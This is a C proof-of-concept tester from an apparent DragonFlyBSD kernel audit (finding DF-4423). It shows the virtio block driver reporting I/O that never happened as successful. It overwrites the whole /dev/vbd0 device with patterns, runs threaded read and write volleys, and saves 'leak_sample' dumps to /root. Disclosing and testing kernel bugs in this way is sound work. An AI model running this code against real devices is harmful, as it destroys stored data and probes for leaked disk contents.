⬢ DragonFlyBSD Kernel Audit
DF-4423 / df4423_tester.c
← back to finding ↓ download raw
/*
 * DF-4423 PoC tester: demonstrate vtblk_finish_bio() dropping the error
 * argument -> biodone() without B_ERROR -> I/O that was never performed
 * is reported to userspace as SUCCESS.
 *
 * Modes:
 *   fill             - write 0xAA pattern over the whole device
 *   readvolley <nt>  - <nt> threads, each does ONE 2MB pread from a random
 *                      aligned offset into a buffer pre-filled with 0xFF,
 *                      then verifies the pattern and exits.
 *                      ok  = all bytes 0xAA (real DMA happened)
 *                      stale = 128K-aligned runs of 0xFF (bio completed w/o DMA)
 *                      foreign = other bytes, errs = pread(2) failures
 *   writevolley <nt> - <nt> threads each pwrite a distinct 1MB region of 0xC0+id
 *   verify           - scan whole device, report regions not matching any
 *                      written pattern (lost writes)
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>

#define DEV "/dev/vbd0"
#define CHUNK (128*1024)
#define READSZ (2*1024*1024)
#define DSZ (256*1024*1024)

static void
fill(void)
{
	int fd = open(DEV, O_RDWR);
	char *buf = malloc(CHUNK);
	off_t off;
	int n;

	if (fd < 0) { perror("open"); exit(1); }
	memset(buf, 0xAA, CHUNK);
	for (off = 0; off < DSZ; off += CHUNK) {
		n = pwrite(fd, buf, CHUNK, off);
		if (n != CHUNK) { perror("pwrite"); exit(1); }
	}
	close(fd);
	free(buf);
	printf("FILL DONE\n");
}

struct rv {
	int id;
	int ok, stale, foreign, errs;
	size_t stale_bytes;
	char errstr[64];
	double t_start, t_read_ms;
	off_t offset;
};

static void *
readthread(void *arg)
{
	struct rv *r = arg;
	char *buf = malloc(READSZ);
	int fd = open(DEV, O_RDONLY);
	off_t off;
	ssize_t n;
	int i;

	if (fd < 0 || buf == NULL) {
		r->errs++;
		snprintf(r->errstr, sizeof(r->errstr), "open: %s", strerror(errno));
		return (NULL);
	}
	struct timespec ts0, ts1;
	srand(r->id * 7919 + getpid());
	off = ((off_t)rand() % (DSZ/READSZ)) * READSZ;
	r->offset = off;
	memset(buf, 0xFF, READSZ);
	clock_gettime(CLOCK_MONOTONIC, &ts0);
	r->t_start = ts0.tv_sec + ts0.tv_nsec/1e9;
	n = pread(fd, buf, READSZ, off);
	clock_gettime(CLOCK_MONOTONIC, &ts1);
	r->t_read_ms = (ts1.tv_sec-ts0.tv_sec)*1e3 + (ts1.tv_nsec-ts0.tv_nsec)/1e6;
	static volatile int dump_gate = 0;
	if (n != READSZ) {
		r->errs++;
		snprintf(r->errstr, sizeof(r->errstr),
			 "pread ret %zd errno %d (%s)", n, errno, strerror(errno));
		close(fd); free(buf);
		return (NULL);
	}
	/* first three threads dump a 4KB sample of what they "read" */
	if (r->id < 3) {
		char path[64];
		int dfd;
		snprintf(path, sizeof(path), "/root/leak_sample_%d.bin", r->id);
		if ((dfd = open(path, O_WRONLY|O_CREAT|O_TRUNC, 0644)) >= 0) {
			write(dfd, buf, 4096);
			close(dfd);
		}
	}
	/* classify per 128K chunk */
	for (i = 0; i < READSZ; i += CHUNK) {
		int j, is_stale = 1, is_aa = 1, is_marker = 1;
		for (j = i; j < i + CHUNK; j += 1024) {
			if ((unsigned char)buf[j] != 0xFF) is_stale = 0;
			if ((unsigned char)buf[j] != 0xAA) is_aa = 0;
			if ((unsigned char)buf[j] != 0x5A) is_marker = 0;
		}
		if (is_marker && !is_aa) r->foreign++;   /* MARKER pattern leaked */
		else if (is_aa && !is_stale) r->ok++;
		else if (is_stale && !is_aa) { r->stale++; r->stale_bytes += CHUNK; }
		else r->foreign++;
	}
	close(fd);
	free(buf);
	return (NULL);
}

struct wv {
	int id;
	int errs;
	size_t n;
	char errstr[64];
};

static void *
writethread(void *arg)
{
	struct wv *w = arg;
	char *buf = malloc(1024*1024);
	int fd = open(DEV, O_WRONLY);
	off_t off = (off_t)w->id * (1024*1024);
	ssize_t n;

	if (fd < 0 || buf == NULL) {
		w->errs++;
		snprintf(w->errstr, sizeof(w->errstr), "open: %s", strerror(errno));
		return (NULL);
	}
	memset(buf, 0xC0 + (w->id & 0x0f), 1024*1024);
	n = pwrite(fd, buf, 1024*1024, off);
	if (n != 1024*1024) {
		w->errs++;
		snprintf(w->errstr, sizeof(w->errstr),
			 "pwrite ret %zd errno %d (%s)", n, errno, strerror(errno));
	} else {
		w->n = n;
	}
	close(fd);
	free(buf);
	return (NULL);
}

int
main(int argc, char **argv)
{
	if (argc < 2) { fprintf(stderr, "usage: %s fill|readvolley N|writevolley N|verify\n", argv[0]); return 2; }

	if (strcmp(argv[1], "fill") == 0) { fill(); return 0; }

	if (strcmp(argv[1], "marker") == 0) {
		int fd = open(DEV, O_RDWR);
		char *buf = malloc(CHUNK);
		off_t off;
		if (fd < 0) { perror("open"); return 1; }
		memset(buf, 0x5A, CHUNK);
		for (off = DSZ - 32*1024*1024; off < DSZ; off += CHUNK)
			if (pwrite(fd, buf, CHUNK, off) != CHUNK) { perror("pwrite"); return 1; }
		for (off = DSZ - 32*1024*1024; off < DSZ; off += CHUNK)
			if (pread(fd, buf, CHUNK, off) != CHUNK) { perror("pread"); return 1; }
		printf("MARKER DONE (0x5A written+read back in last 32MB)\n");
		return 0;
	}

	if (strcmp(argv[1], "readvolley") == 0) {
		int nt = atoi(argv[2]), i, sok = 0, sst = 0, sfo = 0, ser = 0;
		size_t sstb = 0;
		pthread_t *t = calloc(nt, sizeof(*t));
		struct rv *r = calloc(nt, sizeof(*r));
		char firsterr[64] = "";
		for (i = 0; i < nt; i++) { r[i].id = i; pthread_create(&t[i], NULL, readthread, &r[i]); }
		for (i = 0; i < nt; i++) pthread_join(t[i], NULL);
		for (i = 0; i < nt; i++) {
			sok += r[i].ok; sst += r[i].stale; sfo += r[i].foreign; ser += r[i].errs;
			sstb += r[i].stale_bytes;
			if (r[i].errs && firsterr[0] == 0) strlcpy(firsterr, r[i].errstr, sizeof(firsterr));
		}
		for (i = 0; i < nt; i++)
			printf("T%02d off=%lld t0=%.2f read_ms=%.1f ok=%d stale=%d foreign=%d err=%d\n",
			       i, (long long)r[i].offset, r[i].t_start, r[i].t_read_ms,
			       r[i].ok, r[i].stale, r[i].foreign, r[i].errs);
		printf("RESULT readvolley threads=%d ok_chunks=%d STALE_chunks=%d "
		       "(%zu bytes returned as success without any data!) foreign=%d "
		       "errors=%d%s%s\n", nt, sok, sst, sstb, sfo, ser,
		       firsterr[0] ? " firsterr=" : "", firsterr);
		return ((sst > 0) ? 3 : 0);
	}

	if (strcmp(argv[1], "writevolley") == 0) {
		int nt = atoi(argv[2]), i, ser = 0;
		size_t sn = 0;
		pthread_t *t = calloc(nt, sizeof(*t));
		struct wv *w = calloc(nt, sizeof(*w));
		char firsterr[64] = "";
		for (i = 0; i < nt; i++) { w[i].id = i; pthread_create(&t[i], NULL, writethread, &w[i]); }
		for (i = 0; i < nt; i++) pthread_join(t[i], NULL);
		for (i = 0; i < nt; i++) {
			ser += w[i].errs; sn += w[i].n;
			if (w[i].errs && firsterr[0] == 0) strlcpy(firsterr, w[i].errstr, sizeof(firsterr));
		}
		printf("RESULT writevolley threads=%d reported_success_bytes=%zu "
		       "errors=%d%s%s\n", nt, sn, ser,
		       firsterr[0] ? " firsterr=" : "", firsterr);
		return 0;
	}

	if (strcmp(argv[1], "verify") == 0) {
		int fd = open(DEV, O_RDONLY);
		char *buf = malloc(CHUNK);
		off_t off;
		long aa = 0, wr = 0, other = 0;
		if (fd < 0) { perror("open"); return 1; }
		for (off = 0; off < DSZ; off += CHUNK) {
			int i, is_aa = 1, is_w = 1; char c;
			ssize_t n = pread(fd, buf, CHUNK, off);
			if (n != CHUNK) { printf("verify short read at %lld\n", (long long)off); break; }
			c = buf[0];
			if ((unsigned char)c != 0xAA) is_aa = 0;
			if (!(c >= 0xC0 && c <= 0xCF)) is_w = 0;
			for (i = 1024; i < CHUNK; i += 1024) {
				if ((unsigned char)buf[i] != 0xAA) is_aa = 0;
				if ((unsigned char)buf[i] != (unsigned char)c) is_w = 0;
			}
			if (is_aa) aa++;
			else if (is_w) wr++;
			else other++;
		}
		printf("RESULT verify fill_chunks=%ld written_chunks=%ld MIXED/UNKNOWN_chunks=%ld\n",
		       aa, wr, other);
		close(fd);
		return 0;
	}
	return 2;
}